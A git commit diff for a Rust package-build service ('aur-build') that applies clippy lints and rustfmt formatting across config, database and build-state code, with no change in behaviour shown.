summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--Cargo.toml27
-rw-r--r--rustfmt.toml3
-rw-r--r--src/bin/sandbox-agent.rs9
-rw-r--r--src/config.rs79
-rw-r--r--src/db/approvals.rs16
-rw-r--r--src/db/audit.rs12
-rw-r--r--src/db/builds/mod.rs58
-rw-r--r--src/db/builds/steps.rs54
-rw-r--r--src/db/candidates.rs45
-rw-r--r--src/db/invariants.rs17
-rw-r--r--src/db/metrics.rs21
-rw-r--r--src/db/migrations.rs24
-rw-r--r--src/db/mod.rs111
-rw-r--r--src/db/model/build_state.rs57
-rw-r--r--src/db/model/mod.rs4
-rw-r--r--src/db/model/state.rs22
-rw-r--r--src/db/notices.rs17
-rw-r--r--src/db/packages.rs9
-rw-r--r--src/db/pkgbases.rs37
-rw-r--r--src/db/publish_writes.rs23
-rw-r--r--src/db/releases.rs42
-rw-r--r--src/db/repos.rs3
-rw-r--r--src/db/retention.rs13
-rw-r--r--src/db/settings.rs3
-rw-r--r--src/db/snapshots.rs34
-rw-r--r--src/db/stage_b.rs28
-rw-r--r--src/db/staleness.rs28
-rw-r--r--src/db/subscriptions.rs20
-rw-r--r--src/db/world.rs13
-rw-r--r--src/error.rs20
-rw-r--r--src/fetch.rs4
-rw-r--r--src/git.rs38
-rw-r--r--src/http/auth.rs9
-rw-r--r--src/http/forms.rs15
-rw-r--r--src/http/mod.rs72
-rw-r--r--src/http/render.rs19
-rw-r--r--src/http/routes/mod.rs50
-rw-r--r--src/http/routes/mutations.rs27
-rw-r--r--src/http/routes/pages.rs145
-rw-r--r--src/http/sse.rs9
-rw-r--r--src/main.rs45
-rw-r--r--src/ops.rs152
-rw-r--r--src/pipeline/dispatch.rs46
-rw-r--r--src/pipeline/mod.rs71
-rw-r--r--src/pipeline/publish.rs37
-rw-r--r--src/pipeline/steps.rs85
-rw-r--r--src/pkgver/mod.rs120
-rw-r--r--src/recipe.rs49
-rw-r--r--src/review/approve.rs121
-rw-r--r--src/review/candidates.rs14
-rw-r--r--src/review/diff.rs124
-rw-r--r--src/review/intake.rs17
-rw-r--r--src/review/risk.rs30
-rw-r--r--src/sandbox/agent.rs52
-rw-r--r--src/sandbox/kata.rs92
-rw-r--r--src/sandbox/loopback.rs13
-rw-r--r--src/sandbox/mod.rs4
-rw-r--r--src/sandbox/remote.rs41
-rw-r--r--src/sandbox/wire.rs9
-rw-r--r--src/shims/mod.rs179
-rw-r--r--src/time.rs19
-rw-r--r--src/urlutil.rs7
-rw-r--r--src/usecase/builds.rs10
-rw-r--r--src/usecase/mod.rs7
-rw-r--r--src/watch/detect.rs71
-rw-r--r--src/watch/digests.rs26
-rw-r--r--src/watch/mirror.rs29
-rw-r--r--src/watch/scheduler.rs16
-rw-r--r--src/watch/staleness.rs6
-rw-r--r--src/watch/upstream.rs52
-rw-r--r--tests/approve.rs47
-rw-r--r--tests/architecture.rs220
-rw-r--r--tests/common/mod.rs86
-rw-r--r--tests/config.rs28
-rw-r--r--tests/crash.rs16
-rw-r--r--tests/db.rs56
-rw-r--r--tests/detect.rs53
-rw-r--r--tests/dispatch.rs15
-rw-r--r--tests/failure_modes.rs19
-rw-r--r--tests/http.rs66
-rw-r--r--tests/invariants.rs90
-rw-r--r--tests/kata.rs5
-rw-r--r--tests/live.rs8
-rw-r--r--tests/notices.rs24
-rw-r--r--tests/ops.rs66
-rw-r--r--tests/pipeline.rs77
-rw-r--r--tests/production_surface.rs26
-rw-r--r--tests/remote_agent.rs21
-rw-r--r--tests/schema_ownership.rs20
-rw-r--r--tests/shims.rs86
-rw-r--r--tests/staleness.rs19
-rw-r--r--tests/state_machine.rs24
-rw-r--r--tests/surfaces.rs30
-rw-r--r--tests/time.rs5
-rw-r--r--tests/vcs.rs10
-rw-r--r--tests/versions.rs6
-rw-r--r--tests/world.rs23
97 files changed, 1496 insertions, 2431 deletions
diff --git a/Cargo.toml b/Cargo.toml
index 91cdbc4..1e2e7e2 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -89,3 +89,30 @@ aur-build = { path = ".", features = ["test-support"] }
tempfile = "3"
flate2 = "1"
tar = "0.4"
+
+# Curated idiom lints, each one mechanical and each one clean across the tree.
+# `must_use_candidate` and `missing_errors_doc` are left out on purpose: they
+# would add doc-comment boilerplate, not remove it.
+[lints.clippy]
+assert_is_empty = "warn"
+enum_glob_use = "warn"
+explicit_iter_loop = "warn"
+format_push_string = "warn"
+if_not_else = "warn"
+ignored_unit_patterns = "warn"
+manual_assert_eq = "warn"
+manual_let_else = "warn"
+map_unwrap_or = "warn"
+needless_pass_by_value = "warn"
+needless_raw_string_hashes = "warn"
+redundant_closure_for_method_calls = "warn"
+semicolon_if_nothing_returned = "warn"
+single_match_else = "warn"
+stable_sort_primitive = "warn"
+trivially_copy_pass_by_ref = "warn"
+uninlined_format_args = "warn"
+unnecessary_debug_formatting = "warn"
+unnecessary_literal_bound = "warn"
+unnested_or_patterns = "warn"
+unused_self = "warn"
+wildcard_imports = "warn"
diff --git a/rustfmt.toml b/rustfmt.toml
new file mode 100644
index 0000000..4a2877a
--- /dev/null
+++ b/rustfmt.toml
@@ -0,0 +1,3 @@
+edition = "2021"
+max_width = 120
+use_small_heuristics = "Max"
diff --git a/src/bin/sandbox-agent.rs b/src/bin/sandbox-agent.rs
index ce34d50..078b67c 100644
--- a/src/bin/sandbox-agent.rs
+++ b/src/bin/sandbox-agent.rs
@@ -28,12 +28,9 @@ fn main() {
}
i += 1;
}
- let (hub, token) = match (hub, token) {
- (Some(h), Some(t)) => (h, t),
- _ => {
- eprintln!("usage: sandbox-agent --hub HOST:PORT --token T [--profile P] [--ttl SECS]");
- std::process::exit(2);
- }
+ let (Some(hub), Some(token)) = (hub, token) else {
+ eprintln!("usage: sandbox-agent --hub HOST:PORT --token T [--profile P] [--ttl SECS]");
+ std::process::exit(2);
};
let opts = aur_build::sandbox::agent::AgentOptions {
hub,
diff --git a/src/config.rs b/src/config.rs
index 7818e4b..1b9f26a 100644
--- a/src/config.rs
+++ b/src/config.rs
@@ -204,10 +204,7 @@ impl Default for Config {
impl Config {
pub fn sandbox_image(&self) -> String {
- self.sandbox
- .image()
- .unwrap_or(DEFAULT_SANDBOX_IMAGE)
- .to_string()
+ self.sandbox.image().unwrap_or(DEFAULT_SANDBOX_IMAGE).to_string()
}
pub fn validate(&self) -> crate::error::Result<()> {
@@ -259,10 +256,7 @@ impl Config {
let dir = absolute(root)?;
let p = dir.join("config.json");
if !p.exists() {
- return Err(crate::error::Error::not_found(format!(
- "no config at {}; run `aur-build init`",
- p.display()
- )));
+ return Err(crate::error::Error::not_found(format!("no config at {}; run `aur-build init`", p.display())));
}
let s = std::fs::read_to_string(&p)?;
let v: serde_json::Value = serde_json::from_str(&s)?;
@@ -276,10 +270,7 @@ impl Config {
std::fs::create_dir_all(&self.root)?;
let mut out = self.clone();
out.root = absolute(&self.root)?;
- std::fs::write(
- self.root.join("config.json"),
- serde_json::to_string_pretty(&out)? + "\n",
- )?;
+ std::fs::write(self.root.join("config.json"), serde_json::to_string_pretty(&out)? + "\n")?;
Ok(())
}
@@ -396,10 +387,7 @@ impl Config {
self.root.join("repo")
}
pub fn repo_arch_dir(&self) -> PathBuf {
- self.repo_dir()
- .join(&self.repo_name)
- .join("os")
- .join(&self.arch)
+ self.repo_dir().join(&self.repo_name).join("os").join(&self.arch)
}
pub fn repo_db_name(&self) -> String {
format!("{}.db", self.repo_name)
@@ -419,12 +407,12 @@ fn check_retired_sandbox_keys(v: &serde_json::Value) -> crate::error::Result<()>
let named: Vec<String> = RETIRED
.iter()
.filter(|k| {
- let key: &str = k;
- match v.get(key) {
- None => false,
- Some(serde_json::Value::String(s)) => !retired_key_is_inert(key, s),
- Some(_) => true,
- }
+ let key: &str = k;
+ match v.get(key) {
+ None => false,
+ Some(serde_json::Value::String(s)) => !retired_key_is_inert(key, s),
+ Some(_) => true,
+ }
})
.map(|k| format!("\"{k}\""))
.collect();
@@ -437,10 +425,7 @@ fn check_retired_sandbox_keys(v: &serde_json::Value) -> crate::error::Result<()>
"{\"kind\":\"remote\",\"listen\":…,\"token\":…}, or ",
"{\"kind\":\"agent-sandbox\",\"api\":…,\"namespace\":…,\"bearer\":…,\"image\":…,\"listen\":…,\"token\":…}"
);
- Err(crate::error::Error::invalid(format!(
- "{} are retired sandbox keys; {example}",
- named.join(", ")
- )))
+ Err(crate::error::Error::invalid(format!("{} are retired sandbox keys; {example}", named.join(", "))))
}
fn absolute(p: &Path) -> crate::error::Result<PathBuf> {
@@ -449,13 +434,7 @@ fn absolute(p: &Path) -> crate::error::Result<PathBuf> {
fn slug(url: &str) -> String {
url.chars()
- .map(|c| {
- if c.is_ascii_alphanumeric() {
- c.to_ascii_lowercase()
- } else {
- '-'
- }
- })
+ .map(|c| if c.is_ascii_alphanumeric() { c.to_ascii_lowercase() } else { '-' })
.collect::<String>()
.trim_matches('-')
.chars()
@@ -472,11 +451,7 @@ mod tests {
// fixture corpus, or a subprocess.
fn load_sandbox(sandbox: &str) -> Result<Config, String> {
let tmp = tempfile::tempdir().unwrap();
- std::fs::write(
- tmp.path().join("config.json"),
- format!("{{\n \"sandbox\": {sandbox}\n}}\n"),
- )
- .unwrap();
+ std::fs::write(tmp.path().join("config.json"), format!("{{\n \"sandbox\": {sandbox}\n}}\n")).unwrap();
Config::load(tmp.path()).map_err(|e| e.to_string())
}
@@ -496,10 +471,7 @@ mod tests {
other => panic!("expected loopback, got {other:?}"),
}
- let remote = load_sandbox(
- r#"{"kind":"remote","listen":"127.0.0.1:8787","token":"s3cr3t"}"#,
- )
- .unwrap();
+ let remote = load_sandbox(r#"{"kind":"remote","listen":"127.0.0.1:8787","token":"s3cr3t"}"#).unwrap();
match &remote.sandbox {
Sandbox::Remote { listen, token, shared_workspace } => {
assert_eq!(listen, "127.0.0.1:8787");
@@ -545,8 +517,7 @@ mod tests {
r#""token":"t""#.to_string(),
];
fields.retain(|f| !f.starts_with(&format!("\"{missing}\"")));
- let err = load_sandbox(&format!("{{\"kind\":\"agent-sandbox\",{}}}", fields.join(",")))
- .unwrap_err();
+ let err = load_sandbox(&format!("{{\"kind\":\"agent-sandbox\",{}}}", fields.join(","))).unwrap_err();
assert!(err.contains(missing), "dropping {missing} must name it: {err}");
}
}
@@ -637,13 +608,12 @@ mod tests {
#[test]
fn a_field_that_is_present_but_empty_is_refused() {
- let cfg = load_sandbox(r#"{"kind":"remote","listen":"","token":"t","shared_workspace":true}"#)
- .unwrap();
+ let cfg = load_sandbox(r#"{"kind":"remote","listen":"","token":"t","shared_workspace":true}"#).unwrap();
let err = cfg.validate().unwrap_err().to_string();
assert!(err.contains("listen"), "must name the empty field: {err}");
- let cfg = load_sandbox(r#"{"kind":"remote","listen":"127.0.0.1:1","token":" ","shared_workspace":true}"#)
- .unwrap();
+ let cfg =
+ load_sandbox(r#"{"kind":"remote","listen":"127.0.0.1:1","token":" ","shared_workspace":true}"#).unwrap();
let err = cfg.validate().unwrap_err().to_string();
assert!(err.contains("token"), "whitespace is not a token: {err}");
@@ -657,8 +627,7 @@ mod tests {
("token", "t"),
]);
fields.insert(blank, "");
- let body: Vec<String> =
- fields.iter().map(|(k, v)| format!("\"{k}\":\"{v}\"")).collect();
+ let body: Vec<String> = fields.iter().map(|(k, v)| format!("\"{k}\":\"{v}\"")).collect();
let cfg = load_sandbox(&format!("{{\"kind\":\"agent-sandbox\",{}}}", body.join(","))).unwrap();
let err = cfg.validate().unwrap_err().to_string();
assert!(err.contains(blank), "blank {blank} must be named: {err}");
@@ -682,12 +651,10 @@ mod tests {
assert!(err.contains("shared_workspace"), "{err}");
assert!(err.contains("agent-sandbox"), "{err}");
- assert!(load_sandbox(
- r#"{"kind":"remote","listen":"127.0.0.1:1","token":"t","shared_workspace":true}"#
- )
- .unwrap()
- .validate()
- .is_ok());
+ assert!(load_sandbox(r#"{"kind":"remote","listen":"127.0.0.1:1","token":"t","shared_workspace":true}"#)
+ .unwrap()
+ .validate()
+ .is_ok());
}
#[test]
diff --git a/src/db/approvals.rs b/src/db/approvals.rs
index ececc32..0c4a117 100644
--- a/src/db/approvals.rs
+++ b/src/db/approvals.rs
@@ -33,7 +33,13 @@ pub fn record_in(tx: &mut Transaction<'_>, d: &Decision<'_>) -> Result<i64> {
Ok(tx.last_insert_rowid())
}
-pub fn record_rejection_in(tx: &mut Transaction<'_>, candidate_id: i64, at: &str, identity_hash: &str, note: &str) -> Result<()> {
+pub fn record_rejection_in(
+ tx: &mut Transaction<'_>,
+ candidate_id: i64,
+ at: &str,
+ identity_hash: &str,
+ note: &str,
+) -> Result<()> {
tx.execute(
"INSERT INTO approval (candidate_id, base_release_id, decided_at, decision, risk_level,
diff_digest, identity_hash, note)
@@ -46,11 +52,9 @@ pub fn record_rejection_in(tx: &mut Transaction<'_>, candidate_id: i64, at: &str
pub fn for_candidate(db: &Db, candidate_id: i64) -> Result<Option<(i64, String)>> {
db.read(|c| {
- Ok(c.query_row(
- "SELECT id, decision FROM approval WHERE candidate_id=?1",
- params![candidate_id],
- |r| Ok((r.get(0)?, r.get(1)?)),
- )
+ Ok(c.query_row("SELECT id, decision FROM approval WHERE candidate_id=?1", params![candidate_id], |r| {
+ Ok((r.get(0)?, r.get(1)?))
+ })
.optional()?)
})
}
diff --git a/src/db/audit.rs b/src/db/audit.rs
index 45a3b46..23b20bb 100644
--- a/src/db/audit.rs
+++ b/src/db/audit.rs
@@ -1,6 +1,6 @@
use rusqlite::params;
-use crate::db::*;
+use crate::db::{Db, Writer};
use crate::error::Result;
use crate::time;
@@ -59,7 +59,6 @@ impl<'a> AuditEntry<'a> {
) -> Self {
Self { at, actor_kind: "human", actor, action, entity, entity_id, detail }
}
-
}
pub fn audit_in(tx: &rusqlite::Transaction<'_>, e: &AuditEntry<'_>) -> Result<()> {
@@ -71,7 +70,13 @@ pub fn audit_in(tx: &rusqlite::Transaction<'_>, e: &AuditEntry<'_>) -> Result<()
Ok(())
}
-pub fn audit_system(writer: &Writer, action: &str, entity: &str, entity_id: &str, detail: serde_json::Value) -> Result<()> {
+pub fn audit_system(
+ writer: &Writer,
+ action: &str,
+ entity: &str,
+ entity_id: &str,
+ detail: serde_json::Value,
+) -> Result<()> {
audit(writer, "system", "", action, entity, entity_id, detail)
}
@@ -114,4 +119,3 @@ pub fn list_audit(db: &Db, limit: i64) -> Result<Vec<AuditRow>> {
Ok(out)
})
}
-
diff --git a/src/db/builds/mod.rs b/src/db/builds/mod.rs
index 83566ad..e31543e 100644
--- a/src/db/builds/mod.rs
+++ b/src/db/builds/mod.rs
@@ -78,12 +78,7 @@ pub fn enqueue(
pub fn get(db: &Db, id: &str) -> Result<Option<BuildRow>> {
let id = id.to_string();
db.read(move |c| {
- Ok(c.query_row(
- &format!("SELECT {BUILD_COLS} FROM build WHERE id=?1"),
- params![id],
- row_to_build,
- )
- .optional()?)
+ Ok(c.query_row(&format!("SELECT {BUILD_COLS} FROM build WHERE id=?1"), params![id], row_to_build).optional()?)
})
}
@@ -98,7 +93,9 @@ pub fn list(db: &Db, states: &[BuildState], limit: i64) -> Result<Vec<BuildRow>>
);
let mut stmt = c.prepare(&sql)?;
let rows = stmt.query_map(
- rusqlite::params_from_iter(states.iter().chain(std::iter::once(&limit.to_string())).map(|s| s as &dyn rusqlite::ToSql)),
+ rusqlite::params_from_iter(
+ states.iter().chain(std::iter::once(&limit.to_string())).map(|s| s as &dyn rusqlite::ToSql),
+ ),
row_to_build,
)?;
let mut out = Vec::new();
@@ -111,9 +108,8 @@ pub fn list(db: &Db, states: &[BuildState], limit: i64) -> Result<Vec<BuildRow>>
pub fn queued(db: &Db, limit: i64) -> Result<Vec<String>> {
db.read(|c| {
- let mut stmt = c.prepare(
- "SELECT id FROM build WHERE state='queued' ORDER BY priority DESC, created_at LIMIT ?1",
- )?;
+ let mut stmt =
+ c.prepare("SELECT id FROM build WHERE state='queued' ORDER BY priority DESC, created_at LIMIT ?1")?;
let rows = stmt.query_map(params![limit], |r| r.get::<_, String>(0))?;
let mut out = Vec::new();
for r in rows {
@@ -150,10 +146,7 @@ pub fn extend_lease(db: &Db, id: &str, lease_secs: i64) -> Result<()> {
let id = id.to_string();
let exp = time::secs_ahead(lease_secs);
db.writer.tx(move |tx| {
- tx.execute(
- "UPDATE build SET lease_expires_at=?1 WHERE id=?2",
- params![exp, id],
- )?;
+ tx.execute("UPDATE build SET lease_expires_at=?1 WHERE id=?2", params![exp, id])?;
Ok(())
})
}
@@ -185,12 +178,7 @@ pub fn reap_expired(db: &Db) -> Result<usize> {
})
}
-fn transition_in_tx(
- tx: &mut rusqlite::Transaction<'_>,
- id: &str,
- to: BuildState,
- error: Option<&str>,
-) -> Result<()> {
+fn transition_in_tx(tx: &mut rusqlite::Transaction<'_>, id: &str, to: BuildState, error: Option<&str>) -> Result<()> {
let froms = BuildState::predecessors(to);
let placeholders = froms.iter().map(|_| "?").collect::<Vec<_>>().join(",");
let sql = format!(
@@ -205,9 +193,8 @@ fn transition_in_tx(
}
let n = tx.execute(&sql, rusqlite::params_from_iter(args))?;
if n == 0 {
- let was: Option<String> = tx
- .query_row("SELECT state FROM build WHERE id=?1", params![id], |r| r.get(0))
- .optional()?;
+ let was: Option<String> =
+ tx.query_row("SELECT state FROM build WHERE id=?1", params![id], |r| r.get(0)).optional()?;
return Err(match was {
Some(s) => Error::invalid(format!("illegal build transition {s} → {to} for build {id}")),
None => Error::invalid(format!("no build {id} to move to {to}")),
@@ -218,9 +205,8 @@ fn transition_in_tx(
pub fn set_state(db: &Db, id: &str, to: BuildState, error: Option<&str>) -> Result<()> {
let id = id.to_string();
- let error = error.map(|e| e.to_string());
- db.writer
- .tx(move |tx| transition_in_tx(tx, &id, to, error.as_deref()))
+ let error = error.map(std::string::ToString::to_string);
+ db.writer.tx(move |tx| transition_in_tx(tx, &id, to, error.as_deref()))
}
pub fn block_on(db: &Db, id: &str, blocked_on: &[String]) -> Result<()> {
@@ -245,9 +231,7 @@ pub fn requeue_blocked(db: &Db) -> Result<usize> {
};
let in_index: std::collections::HashSet<String> = {
let mut stmt = tx.prepare("SELECT name FROM package WHERE state='in_index'")?;
- let names = stmt
- .query_map([], |r| r.get::<_, String>(0))?
- .collect::<rusqlite::Result<Vec<String>>>()?;
+ let names = stmt.query_map([], |r| r.get::<_, String>(0))?.collect::<rusqlite::Result<Vec<String>>>()?;
names.into_iter().collect()
};
let mut n = 0;
@@ -277,23 +261,17 @@ pub fn request_cancel(db: &Db, id: &str) -> Result<()> {
pub fn cancel_requested(db: &Db, id: &str) -> Result<bool> {
let id = id.to_string();
db.read(move |c| {
- Ok(c.query_row("SELECT cancel_requested FROM build WHERE id=?1", params![id], |r| {
- Ok(r.get::<_, i64>(0)? != 0)
- })
- .optional()?
- .unwrap_or(false))
+ Ok(c.query_row("SELECT cancel_requested FROM build WHERE id=?1", params![id], |r| Ok(r.get::<_, i64>(0)? != 0))
+ .optional()?
+ .unwrap_or(false))
})
}
-
// The step machine is its own concern: same build, one row per step, its own
// legal moves.
mod steps;
-
pub use steps::{
- begin_step, blocked_builds, cancel_superseded, claim_batch,
- finish_step, in_flight, queue_depth, requeue_transient,
- retry, set_blocked_on, set_release_in, set_world,
- step_status, steps,
+ begin_step, blocked_builds, cancel_superseded, claim_batch, finish_step, in_flight, queue_depth, requeue_transient,
+ retry, set_blocked_on, set_release_in, set_world, step_status, steps,
};
diff --git a/src/db/builds/steps.rs b/src/db/builds/steps.rs
index 4ffff36..01faa03 100644
--- a/src/db/builds/steps.rs
+++ b/src/db/builds/steps.rs
@@ -17,9 +17,8 @@ pub struct StepRow {
pub fn steps(db: &Db, id: &str) -> Result<Vec<StepRow>> {
let id = id.to_string();
db.read(move |c| {
- let mut stmt = c.prepare(
- "SELECT step, status, attempt, error FROM build_step WHERE build_id=?1 ORDER BY rowid",
- )?;
+ let mut stmt =
+ c.prepare("SELECT step, status, attempt, error FROM build_step WHERE build_id=?1 ORDER BY rowid")?;
let rows = stmt.query_map(params![id], |r| {
Ok(StepRow {
step: r.get(0)?,
@@ -39,11 +38,9 @@ pub fn steps(db: &Db, id: &str) -> Result<Vec<StepRow>> {
pub fn step_status(db: &Db, build_id: &str, step: &str) -> Result<Option<StepState>> {
let (b, s) = (build_id.to_string(), step.to_string());
db.read(move |c| {
- c.query_row(
- "SELECT status FROM build_step WHERE build_id=?1 AND step=?2",
- params![b, s],
- |r| crate::db::state_col::<StepState>(0, &r.get::<_, String>(0)?),
- )
+ c.query_row("SELECT status FROM build_step WHERE build_id=?1 AND step=?2", params![b, s], |r| {
+ crate::db::state_col::<StepState>(0, &r.get::<_, String>(0)?)
+ })
.optional()
.map_err(Into::into)
})
@@ -80,8 +77,8 @@ pub fn finish_step(
error: Option<&str>,
) -> Result<()> {
let (b, s) = (build_id.to_string(), step.to_string());
- let od = output_digest.map(|s| s.to_string());
- let err = error.map(|s| s.to_string());
+ let od = output_digest.map(std::string::ToString::to_string);
+ let err = error.map(std::string::ToString::to_string);
let at = time::now();
let froms = StepState::predecessors(to);
let placeholders = froms.iter().map(|_| "?").collect::<Vec<_>>().join(",");
@@ -98,16 +95,10 @@ pub fn finish_step(
let n = tx.execute(&sql, rusqlite::params_from_iter(args))?;
if n == 0 {
let was: Option<String> = tx
- .query_row(
- "SELECT status FROM build_step WHERE build_id=?1 AND step=?2",
- params![b, s],
- |r| r.get(0),
- )
+ .query_row("SELECT status FROM build_step WHERE build_id=?1 AND step=?2", params![b, s], |r| r.get(0))
.optional()?;
return Err(match was {
- Some(w) => Error::invalid(format!(
- "illegal step transition {w} → {to} for step {s} of build {b}"
- )),
+ Some(w) => Error::invalid(format!("illegal step transition {w} → {to} for step {s} of build {b}")),
None => Error::invalid(format!("no checkpoint for step {s} of build {b}")),
});
}
@@ -117,18 +108,15 @@ pub fn finish_step(
pub fn in_flight(db: &Db) -> Result<usize> {
db.read(|c| {
- Ok(c.query_row(
- "SELECT count(*) FROM build WHERE state IN ('leased','running')",
- [],
- |r| r.get::<_, i64>(0),
- )? as usize)
+ Ok(c.query_row("SELECT count(*) FROM build WHERE state IN ('leased','running')", [], |r| r.get::<_, i64>(0))?
+ as usize)
})
}
pub fn queue_depth(db: &Db) -> Result<usize> {
- db.read(|c| {
- Ok(c.query_row("SELECT count(*) FROM build WHERE state='queued'", [], |r| r.get::<_, i64>(0))? as usize)
- })
+ db.read(
+ |c| Ok(c.query_row("SELECT count(*) FROM build WHERE state='queued'", [], |r| r.get::<_, i64>(0))? as usize),
+ )
}
pub fn blocked_builds(db: &Db) -> Result<Vec<(String, String, Vec<String>)>> {
@@ -137,9 +125,8 @@ pub fn blocked_builds(db: &Db) -> Result<Vec<(String, String, Vec<String>)>> {
"SELECT b.id, p.name, b.blocked_on_json FROM build b
JOIN pkgbase p ON p.id = b.pkgbase_id WHERE b.state='blocked_missing_dep'",
)?;
- let rows = stmt.query_map([], |r| {
- Ok((r.get::<_, String>(0)?, r.get::<_, String>(1)?, r.get::<_, String>(2)?))
- })?;
+ let rows =
+ stmt.query_map([], |r| Ok((r.get::<_, String>(0)?, r.get::<_, String>(1)?, r.get::<_, String>(2)?)))?;
let mut out = Vec::new();
for r in rows {
let (id, name, json) = r?;
@@ -154,7 +141,6 @@ pub fn set_release_in(tx: &rusqlite::Transaction<'_>, id: &str, release_id: i64)
Ok(())
}
-
pub fn set_world(db: &Db, id: &str, world_id: i64) -> Result<()> {
let id = id.to_string();
db.writer.tx(move |tx| {
@@ -163,10 +149,6 @@ pub fn set_world(db: &Db, id: &str, world_id: i64) -> Result<()> {
})
}
-
-
-
-
pub fn set_blocked_on(db: &Db, id: &str, blocked_on: &[String]) -> Result<()> {
let id = id.to_string();
let json = serde_json::to_string(blocked_on)?;
@@ -176,7 +158,6 @@ pub fn set_blocked_on(db: &Db, id: &str, blocked_on: &[String]) -> Result<()> {
})
}
-
pub fn claim_batch(db: &Db, owner: &str, limit: usize, lease_secs: i64) -> Result<Vec<String>> {
if limit == 0 {
return Ok(Vec::new());
@@ -219,8 +200,7 @@ pub fn cancel_superseded(db: &Db) -> Result<usize> {
pub fn requeue_transient(db: &Db, id: &str) -> Result<()> {
let id = id.to_string();
- db.writer
- .tx(move |tx| transition_in_tx(tx, &id, BuildState::Queued, None))
+ db.writer.tx(move |tx| transition_in_tx(tx, &id, BuildState::Queued, None))
}
pub fn retry(db: &Db, id: &str) -> Result<()> {
diff --git a/src/db/candidates.rs b/src/db/candidates.rs
index 411d60b..2aca851 100644
--- a/src/db/candidates.rs
+++ b/src/db/candidates.rs
@@ -107,9 +107,7 @@ pub(crate) fn review_subject_in(tx: &Transaction<'_>, candidate_id: i64) -> Resu
pub fn resolve_in(tx: &Transaction<'_>, id: i64, to: CandidateState, at: &str) -> Result<()> {
let froms = CandidateState::predecessors(to);
let placeholders = froms.iter().map(|_| "?").collect::<Vec<_>>().join(",");
- let sql = format!(
- "UPDATE candidate SET state=?1, resolved_at=?2 WHERE id=?3 AND state IN ({placeholders})"
- );
+ let sql = format!("UPDATE candidate SET state=?1, resolved_at=?2 WHERE id=?3 AND state IN ({placeholders})");
let state = to.as_str();
let mut args: Vec<&dyn rusqlite::ToSql> = vec![&state, &at, &id];
for f in &froms {
@@ -117,11 +115,15 @@ pub fn resolve_in(tx: &Transaction<'_>, id: i64, to: CandidateState, at: &str) -
}
let n = tx.execute(&sql, rusqlite::params_from_iter(args))?;
if n == 0 {
- let was: Option<String> = tx
- .query_row("SELECT state FROM candidate WHERE id=?1", params![id], |r| r.get(0))
- .optional()?;
+ let was: Option<String> =
+ tx.query_row("SELECT state FROM candidate WHERE id=?1", params![id], |r| r.get(0)).optional()?;
return Err(match was {
- Some(w) => Error::conflict(Refused::IllegalTransition { entity: "candidate", id: id.to_string(), from: w, to: to.to_string() }),
+ Some(w) => Error::conflict(Refused::IllegalTransition {
+ entity: "candidate",
+ id: id.to_string(),
+ from: w,
+ to: to.to_string(),
+ }),
None => Error::not_found(Missing::Candidate(id)),
});
}
@@ -155,14 +157,7 @@ pub(crate) fn open_in(tx: &Transaction<'_>, pkgbase_id: i64) -> Result<Option<Op
"SELECT id, identity_hash, viewed_at, revision FROM candidate
WHERE pkgbase_id=?1 AND state='pending_review'",
params![pkgbase_id],
- |r| {
- Ok(OpenReview {
- id: r.get(0)?,
- identity_hash: r.get(1)?,
- viewed_at: r.get(2)?,
- revision: r.get(3)?,
- })
- },
+ |r| Ok(OpenReview { id: r.get(0)?, identity_hash: r.get(1)?, viewed_at: r.get(2)?, revision: r.get(3)? }),
)
.optional()?)
}
@@ -280,10 +275,7 @@ pub fn pending(db: &Db) -> Result<Vec<CandidateRow>> {
pub fn by_id(db: &Db, id: i64) -> Result<Option<CandidateRow>> {
let sql = format!("SELECT {CANDIDATE_COLS} FROM candidate c JOIN pkgbase b ON b.id = c.pkgbase_id WHERE c.id=?1");
- db.read(move |c| {
- Ok(c.query_row(&sql, params![id], row_to_candidate)
- .optional()?)
- })
+ db.read(move |c| Ok(c.query_row(&sql, params![id], row_to_candidate).optional()?))
}
// ---------------------------------------------------------------- writes --
@@ -291,10 +283,7 @@ pub fn by_id(db: &Db, id: i64) -> Result<Option<CandidateRow>> {
pub fn mark_viewed(db: &Db, id: i64) -> Result<()> {
let at = time::now();
db.writer.tx(move |tx| {
- tx.execute(
- "UPDATE candidate SET viewed_at=?1 WHERE id=?2 AND viewed_at IS NULL",
- params![at, id],
- )?;
+ tx.execute("UPDATE candidate SET viewed_at=?1 WHERE id=?2 AND viewed_at IS NULL", params![at, id])?;
Ok(())
})
}
@@ -303,10 +292,7 @@ pub fn set_risk(db: &Db, id: i64, level: &str, signals: &[String]) -> Result<()>
let lvl = level.to_string();
let sig = serde_json::to_string(signals)?;
db.writer.tx(move |tx| {
- tx.execute(
- "UPDATE candidate SET risk_level=?1, risk_signals_json=?2 WHERE id=?3",
- params![lvl, sig, id],
- )?;
+ tx.execute("UPDATE candidate SET risk_level=?1, risk_signals_json=?2 WHERE id=?3", params![lvl, sig, id])?;
Ok(())
})
}
@@ -314,10 +300,7 @@ pub fn set_risk(db: &Db, id: i64, level: &str, signals: &[String]) -> Result<()>
pub fn set_missing_deps(db: &Db, id: i64, missing: &[String]) -> Result<()> {
let m = serde_json::to_string(missing)?;
db.writer.tx(move |tx| {
- tx.execute(
- "UPDATE candidate SET missing_deps_json=?1 WHERE id=?2",
- params![m, id],
- )?;
+ tx.execute("UPDATE candidate SET missing_deps_json=?1 WHERE id=?2", params![m, id])?;
Ok(())
})
}
diff --git a/src/db/invariants.rs b/src/db/invariants.rs
index e9e133f..964b03c 100644
--- a/src/db/invariants.rs
+++ b/src/db/invariants.rs
@@ -1,5 +1,4 @@
-
-use crate::db::*;
+use crate::db::Db;
use crate::error::Result;
// ------------------------------------------------------- invariant helpers --
@@ -29,7 +28,6 @@ pub fn unapproved_index_entries(db: &Db) -> Result<Vec<String>> {
})
}
-
#[derive(Debug, Clone)]
// Unbuilt stays `pub`: the attention row `approved_but_unbuilt` returns to the web UI and to tests/crash.rs.
pub struct Unbuilt {
@@ -76,21 +74,14 @@ pub fn approved_but_unbuilt(db: &Db) -> Result<Vec<Unbuilt>> {
let mut out = Vec::new();
for r in rows {
let (pkgbase, ae, av, ar, se, sv, sr, error, build_id) = r?;
- let (pkgbase, av, ar) = match (pkgbase, av, ar) {
- (Some(p), Some(v), Some(rel)) => (p, v, rel),
- _ => {
- return Err(crate::error::Error::Db(
- "failed build row without a candidate version".into(),
- ))
- }
+ let (Some(pkgbase), Some(av), Some(ar)) = (pkgbase, av, ar) else {
+ return Err(crate::error::Error::Db("failed build row without a candidate version".into()));
};
out.push(Unbuilt {
pkgbase,
